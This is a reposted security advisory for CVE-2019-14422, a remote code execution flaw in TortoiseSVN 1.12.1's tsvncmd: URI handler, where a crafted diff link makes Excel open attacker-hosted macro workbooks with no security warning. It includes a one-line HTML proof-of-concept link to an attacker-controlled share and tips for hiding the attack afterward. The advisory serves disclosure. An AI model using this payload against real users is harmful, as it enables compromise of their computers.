Post a Reply
106 views

TortoiseSVN 1.12.1 Remote Code Execution

  1. 4 weeks ago

    h90.png

    TortoiseSVN version 1.12.1 suffers from a remote code execution vulnerability.
    MD5 | c2b2ef9f102ec3dce79dfa3d1c853566

    Document Title:
    ===============
    TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2188
    
    Product:
    https://osdn.net/projects/tortoisesvn/storage/1.12.1/Application/TortoiseSVN-1.12.1.28628-x64-svn-1.12.2.msi/
    
    Ticket: https://groups.google.com/forum/#!forum/tortoisesvn
    
    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-14422
    
    CVE-ID:
    =======
    CVE-2019-14422
    
    
    Release Date:
    =============
    2019-08-13
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2188
    
    
    Common Vulnerability Scoring System:
    ====================================
    8.8
    
    
    Vulnerability Class:
    ====================
    Code Execution
    
    
    Current Estimated Price:
    ========================
    4.000€ - 5.000€
    
    
    Product & Service Introduction:
    ===============================
    TortoiseSVN is a really easy to use Revision control / version control /
    source control software for Windows.
    It is based on Apache Subversion (SVN); TortoiseSVN provides a nice and
    easy user interface for Subversion.
    It is developed under the GPL. Which means it is completely free for
    anyone to use, including in a commercial
    environment, without any restriction. The source code is also freely
    available, so you can even develop your
    own version if you wish to. Since it's not an integration for a specific
    IDE like Visual Studio, Eclipse or
    others, you can use it with whatever development tools you like, and
    with any type of file.
    
    (Copy of the about page: https://tortoisesvn.net/about.html )
    
    
    Abstract Advisory Information:
    ==============================
    A vulnerability laboratory researcher (vxrl team) discovered a remote
    code execution vulnerability in the TortoiseSVN v1.12.1 software.
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2019-08-13: Public Disclosure (Vulnerability Laboratory)
    
    Affected Product(s):
    ====================
    TortoiseSVN
    Product: TortoiseSVN - Software 1.12.1
    
    
    Discovery Status:
    =================
    Published
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    High
    
    
    Authentication Type:
    ====================
    Pre auth - no privileges
    
    
    User Interaction:
    =================
    Low User Interaction
    
    
    Disclosure Type:
    ================
    Independent Security Research
    
    
    Technical Details & Description:
    ================================
    A remote code execution vulnerability has been uncovered in the official
    TortoiseSVN v1.12.1 software.
    The vulnerability typ allows remote attackers to execute arbitrary codes
    to compromise a target computer system.
    
    The URI handler of TortoiseSVN (Tsvncmd:) allows a customised diff
    operation on Excel workbooks, which could be used to open remote
    workbooks without protection from macro security settings to execute
    arbitrary code.
    
    The `tsvncmd:command:diff?path:[file1]?path2:[file2]` will execute a
    customised diff on [file1] and [file2] based on the file extension.
    For xls files, it will execute the script `diff-xls.js` using wscript,
    which will open the two files for analysis without any macro
    security warning. An attacker can exploit this by putting a macro virus
    in a network drive, and force the victim to open the workbooks
    and execute the macro inside. Since the macro is triggered through
    wscript, to make the attack less visible, one could kill the wscript
    process and quit the excel program after the code was executed.
    
    
    Proof of Concept (PoC):
    =======================
    The vulnerability could be triggered by visiting a specially crafted URL
    via web browser.
    To reproduce the vulnerability, one could simply create a .url file or
    open the URL with a browsers,
    but a notification prompt may be shown for the latter case.
    
    <a
    href='tsvncmd:command:diff?path:VBoxSvrvv.xlsm?path2:VBoxSvrvw.xlsx'>Checkout
    the Repo with TortoiseSVN</a>
    
    where VBoxSvrv is the remote network drive controlled by the attacker,
    v.xlsm is the macro virus and w.xlsx is just an empty excel workbook.
    
    Sources: https://www.vulnerability-lab.com/resources/documents/2188.rar
    Password: 23vxrl23
    
    PoC: Video
    https://www.youtube.com/watch?v=spvRSC377vI
    
    
    Security Risk:
    ==============
    The security risk of the remote code execution vulnerability in the
    software component is estimated as high.
    
    
    Credits & Authors:
    ==================
    PingFanZettaKe [VXRL Team] -
    https://www.vulnerability-lab.com/show.php?user=PingFanZettaKe
    
    
    Disclaimer & Information:
    =========================
    The information provided in this advisory is provided as it is without
    any warranty. Vulnerability Lab disclaims all warranties,
    either expressed or implied, including the warranties of merchantability
    and capability for a particular purpose. Vulnerability-Lab
    or its suppliers are not liable in any case of damage, including direct,
    indirect, incidental, consequential loss of business profits
    or special damages, even if Vulnerability-Lab or its suppliers have been
    advised of the possibility of such damages. Some states do
    not allow the exclusion or limitation of liability for consequential or
    incidental damages so the foregoing limitation may not apply.
    We do not approve or encourage anybody to break any licenses, policies,
    deface websites, hack into databases or trade with stolen data.
    
    Domains:    www.vulnerability-lab.com    www.vuln-lab.com      
    www.vulnerability-db.com
    Services:   magazine.vulnerability-lab.com
    paste.vulnerability-db.com       infosec.vulnerability-db.com
    Social:      twitter.com/vuln_lab    facebook.com/VulnerabilityLab     
    youtube.com/user/vulnerability0lab
    Feeds:      vulnerability-lab.com/rss/rss.php
    vulnerability-lab.com/rss/rss_upcoming.php
    vulnerability-lab.com/rss/rss_news.php
    Programs:   vulnerability-lab.com/submit.php
    vulnerability-lab.com/register.php
    vulnerability-lab.com/list-of-bug-bounty-programs.php
    
    Any modified copy or reproduction, including partially usages, of this
    file requires authorization from Vulnerability Laboratory.
    Permission to electronically redistribute this alert in its unmodified
    form is granted. All other rights, including the use of other
    media, are reserved by Vulnerability-Lab Research Team or its suppliers.
    All pictures, texts, advisories, source code, videos and other
    information on this website is trademark of vulnerability-lab team & the
    specific authors or managers. To record, list, modify, use or
    edit our material contact (admin@ or research@) to get a ask permission.
    
                Copyright © 2019 | Vulnerability Laboratory - [Evolution
    Security GmbH]™
    -- 
    VULNERABILITY LABORATORY - RESEARCH TEAM
    SERVICE: www.vulnerability-lab.com
 

or Sign Up to reply!